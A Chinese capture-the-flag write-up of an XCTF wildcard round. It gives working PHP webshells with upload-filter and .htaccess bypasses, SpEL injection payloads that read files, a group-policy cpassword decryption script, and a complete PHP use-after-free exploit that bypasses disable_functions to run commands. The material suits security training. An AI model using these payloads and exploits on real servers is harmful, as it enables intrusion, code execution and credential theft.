今年第一场XCTF的外卡赛,感受良好,除了熬夜做题也没做出来之外,都觉得还可以
WEB
CheckIn
老checkin了,前后不到150个队做出来,看apache的版本应该是想考apache的cgi解析漏洞,后来发现用.htaccess也可以绕过限制,官方说是非预期,这里把这个解法放出来
访问题目
尝试上传一个图片马,返回提示
发现题目对我们上传的文件内容和后缀都进行了限制,想要成功的getshell需要绕过两个方面,首先在内容方面绕过
<?php eval($_POST['cmd']);?> #标准一句话木马
我们可以使用“=”代替“php”,不写后面的“>”符号,这样也可以构造出一个shell
<?= eval($_POST['cmd']); #变形后,即可成功绕过内容过滤
下一步绕过后缀过滤,因为题目把“ph”过滤掉了常规的改后缀是行不通的,我们可以从解析文件处入手,让服务器对其他后缀的文件当作php去处理,我们可以使用.htaccess进行设置
AddType application/x-httpd-php .jpg
通过这样设置,我们可以把.jpg的文件当作php来解析,从而达到getshell的目的,同时在.htaccess中我们需要对“ph”进行绕过,这里可以使用斜线绕过
AddType application/x-httpd-p\hp .jpg
首先上传.htaccess文件
上传我们的shell文件
<= system($_POST['ppp']); # 文件名为pd.jpg
获取flag
POST /uploads/32f2fcd00169d05439333daf27e1792b/pd.jpg HTTP/1.1
Host: 129.204.21.115
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
ppp=cat /flag
calc
进入页面是一个简易的计算器,根据做题经验应该是一个类似命令执行的题目了
找一下接口,看一下NETWORK加载的文件
在
“`/spel/calc“`的目录下对我们输入的字符进行处理,FUzz一下,看看报错信息
猜测是tomcat,推断后端的处理语言为Java,尝试使用Java语言进行代码注入,网上的一些payload
https://www.jianshu.com/p/e3c77c053359
测试了一下存在过滤,不能用现成的EXP去打了,最后构造的代码
NEW%20java.util.Scanner(NEW%20java.io.FileReader("/flag")).next()
后来在fuzz的时候还可以用“BufferedReader”函数去读取
(NEW%20java.io.BufferedReader(NEW%20java.io.FileReader("/flag"))).readLine()
Hard_Pentest_1
较为简单的内网渗透题目了
看一下题目,带有过滤的文件上传,根据代码可以看出,需要无字母数字shell,不能是PHP后缀文件,这里的WEBSHELL可以直接使用P牛文章里的文件进行绕过
1<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>
主要原理利用了array取值,然后逐次++,直到拼接到POST,然后利用file_put_contents传马,与原文不同的是,题目中过滤了分号,我们可以用短标签来绕过
原文章地址:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
上传文件
上传之后构造语句生成webshell
__=file_put_contents&_=pd.php&___=<?php eval($_POST[0]);
访问地址
成功构造webshell,使用蚁剑连接
可以看到是一个WINDOWS的主机,根据题目提示,flag不在WEB服务器上,我们先看一下主机所在内网的是否存在共享文件,发现存在HINT
获取到一个压缩包,不过存在密码
在内网继续渗透收集信息,从共享文件下手,想到SYSVOL文件
SYSVOL是指存储域公共文件服务器副本的共享文件夹,所有域内主机都能访问,里面保存组策略相关数据
看一下是否存在
发现存在SYSVOL文件夹,根据这篇文章进行下面的渗透
https://3gstudent.github.io/3gstudent.github.io/
先找到相应策略组的配置文件再进行分析,具体位置
分析一下这个Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>
我们可以看到XML文件提示,cpassword即为HINZip_Pass的密码,这串字符是AES加密后的密码,具体的原理可以看上面的链接进行学习,我们使用现成的脚本进行解密
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
将解密脚本保存为ps1文件,在命令执行如下密码即可解密
powershell -executionpolicy bypass -file 1.ps1
使用获取的密码对压缩包进行解密
成功获取到flag
PHP——UAF
这里记录一下复现过程,题目的WP地址:
https://mem2019.github.io/jekyll/update/2020/05/04/Easy-PHP-UAF.html
依然是绕过disable_function,不过需要自己根据底层代码漏洞进行编写了,只能说做出来的两个师傅真的太强了
附上exp
//<?php
pwn("ls");
function hex($val)
{
return "0x".dechex($val)."<br>";
}
function pwn($cmd) {
global $abc, $helper, $backtrace, $backtrace2;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function allocate(&$a, $depth)
{
if ($depth === 0) return;
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
$a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
allocate($a, $depth - 1);
}
function str2ptr(&$str, $p = 0) {
$address = 0;
$address |= ord($str[$p+7]);
$address <<= 8;
$address |= ord($str[$p+6]);
$address <<= 8;
$address |= ord($str[$p+5]);
$address <<= 8;
$address |= ord($str[$p+4]);
$address <<= 8;
$address |= ord($str[$p+3]);
$address <<= 8;
$address |= ord($str[$p+2]);
$address <<= 8;
$address |= ord($str[$p+1]);
$address <<= 8;
$address |= ord($str[$p+0]);
return $address;
}
function write(&$str, $p, $v)
{
$str[$p+0] = chr($v & 0xff);
$v >>= 8;
$str[$p+1] = chr($v & 0xff);
$v >>= 8;
$str[$p+2] = chr($v & 0xff);
$v >>= 8;
$str[$p+3] = chr($v & 0xff);
$v >>= 8;
$str[$p+4] = chr($v & 0xff);
$v >>= 8;
$str[$p+5] = chr($v & 0xff);
$v >>= 8;
$str[$p+6] = chr($v & 0xff);
$v >>= 8;
$str[$p+7] = chr($v & 0xff);
}
function memRead($addr)
{
global $abc, $helper;
write($abc, 0xa8, $addr - 0x10);
return strlen($helper->a);
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
$contiguous = [];
allocate($contiguous, 0);
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->a = $helper;
$helper->b = function($x) {};
$helper->c = 0x1337;
if (strlen($abc) == 79 /*|| strlen($abc) == 0*/)
{
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x10);
$helper->a = "helper"; // otherwise a strage crash
$abc_addr = $php_heap + 0x18;
$libphp_addr = str2ptr($abc, 0) - 0xd73ec0;
$zif_system = $libphp_addr + 0x355a86;
$helper->b = function($x){};
$closure_obj = str2ptr($abc, 0x20);
echo ("abc_addr = ".hex($abc_addr));
echo ("libphp_addr = ".hex($libphp_addr));
echo ("zif_system = ".hex($zif_system));
echo ("closure_obj = ".hex($closure_obj));
echo ("<br>");
// fake value
write($abc, 0x10, $closure_obj);
write($abc, 0x18, 0x6);
function copyFunc($off)
{
global $helper;
global $abc;
if ($off > 0x110) return;
write($abc, 0xd0 + 0x18 + $off, str2ptr($helper->a, $off));
write($abc, 0xd0 + 0x20 + $off, str2ptr($helper->a, $off+8));
write($abc, 0xd0 + 0x28 + $off, str2ptr($helper->a, $off+0x10));
write($abc, 0xd0 + 0x30 + $off, str2ptr($helper->a, $off+0x18));
write($abc, 0xd0 + 0x38 + $off, str2ptr($helper->a, $off+0x20));
write($abc, 0xd0 + 0x40 + $off, str2ptr($helper->a, $off+0x28));
write($abc, 0xd0 + 0x48 + $off, str2ptr($helper->a, $off+0x30));
write($abc, 0xd0 + 0x50 + $off, str2ptr($helper->a, $off+0x38));
write($abc, 0xd0 + 0x58 + $off, str2ptr($helper->a, $off+0x40));
write($abc, 0xd0 + 0x60 + $off, str2ptr($helper->a, $off+0x48));
write($abc, 0xd0 + 0x68 + $off, str2ptr($helper->a, $off+0x50));
write($abc, 0xd0 + 0x70 + $off, str2ptr($helper->a, $off+0x58));
write($abc, 0xd0 + 0x78 + $off, str2ptr($helper->a, $off+0x60));
write($abc, 0xd0 + 0x80 + $off, str2ptr($helper->a, $off+0x68));
write($abc, 0xd0 + 0x88 + $off, str2ptr($helper->a, $off+0x70));
write($abc, 0xd0 + 0x90 + $off, str2ptr($helper->a, $off+0x78));
write($abc, 0xd0 + 0x98 + $off, str2ptr($helper->a, $off+0x80));
write($abc, 0xd0 + 0xa0 + $off, str2ptr($helper->a, $off+0x88));
copyFunc($off + 0x90);
}
write($abc, 0xd0, 0x0000031800000002);
write($abc, 0xd0 + 8, 0x0000000000000003);
copyFunc(0);
write($abc, 0xd0 + 0x38, 0x0210000000000001);
write($abc, 0xd0 + 0x68, $zif_system);
write($abc, 0x20, $abc_addr + 0xd0);
($helper->b)($cmd);
die("end");
}
MISC
Misc杂烩/Misc Chowder
除了密码不好爆破之外都还可以
题目给了一个流量包,首先分析HTTP流
发现访问了好几次upload_file.php而且每次上传页面的大小都不一样,猜测是上传了不同的内容,一个一个导出分析,最后导出来七张图片,其中一张给了一个下载链接
下载下来后是一个readme.zip,解压之后是一个docx的文档,不过无法正常打开,这时候想到docx也是zip的一种,尝试用zip的方式打开,发现zip文件
再次发现一个压缩包,当打开时提示我们需要密码
这里第一次做的时候卡住了,一直到题目给了提示
告诉了我们范围让我们爆破
最后爆破出来的密码:
DE34Q1
对解压出来的图片进行分析,直接用记事本打开
发现一个flag,提交发现是假flag,用010editor查看发现存在隐藏文件,使用binwalk看一下
binwalk -e强制分离发现压缩包,打开查看压缩包内容,获取到真正的flag